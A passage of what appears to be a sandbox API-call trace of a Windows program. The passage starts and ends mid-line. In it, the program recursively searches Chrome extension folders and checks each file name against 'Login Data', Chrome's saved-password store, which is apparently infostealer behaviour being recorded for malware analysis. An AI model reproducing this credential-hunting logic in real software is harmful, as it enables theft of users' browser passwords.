returned 0x0 [0056.643] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.643] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.644] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_GB\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.644] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.644] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\en_US\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.644] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.644] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.644] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.644] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\es_419\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.644] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.644] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\et\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.644] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.644] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\eu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.645] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.645] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.645] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.645] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.645] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.645] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.645] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.645] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\he\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.645] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.645] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.646] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.647] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.647] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.647] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.647] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.647] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\id\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.647] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.647] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\it\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.647] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.647] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.647] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.648] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.648] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.648] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.648] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.648] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.648] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.648] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ms\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.648] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.648] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.648] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.649] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\no\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.649] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.649] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.649] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.649] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.649] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.649] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.649] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.649] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.649] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.649] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.650] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.650] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.650] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.650] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.650] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.650] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.650] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.650] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.650] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.650] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\th\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.651] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.651] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.651] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.651] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.651] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.651] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.651] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.651] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.651] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.652] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.652] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.652] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*.*", lpFindFileData=0x21f3e0 | out: lpFindFileData=0x21f3e0) returned 0x2dc8f8 [0056.652] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\*.*", lpFindFileData=0x21f250 | out: lpFindFileData=0x21f250) returned 0x2dc938 [0056.652] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0056.652] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0056.652] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.652] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.653] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.653] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.653] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.653] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.653] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.653] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.653] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.653] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\da\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.653] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.653] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\de\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.653] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.654] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\el\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.654] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.654] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\en\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.654] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.654] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\es\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.654] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.654] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.654] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.654] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.654] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.654] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.655] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.655] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\he\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.655] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.655] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.655] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.655] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.655] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.655] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.655] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.655] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.656] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.656] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.656] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.656] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.656] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.656] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.656] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.656] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.657] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\no\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.657] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.658] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.658] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.658] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.658] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.658] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.658] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.659] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.659] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 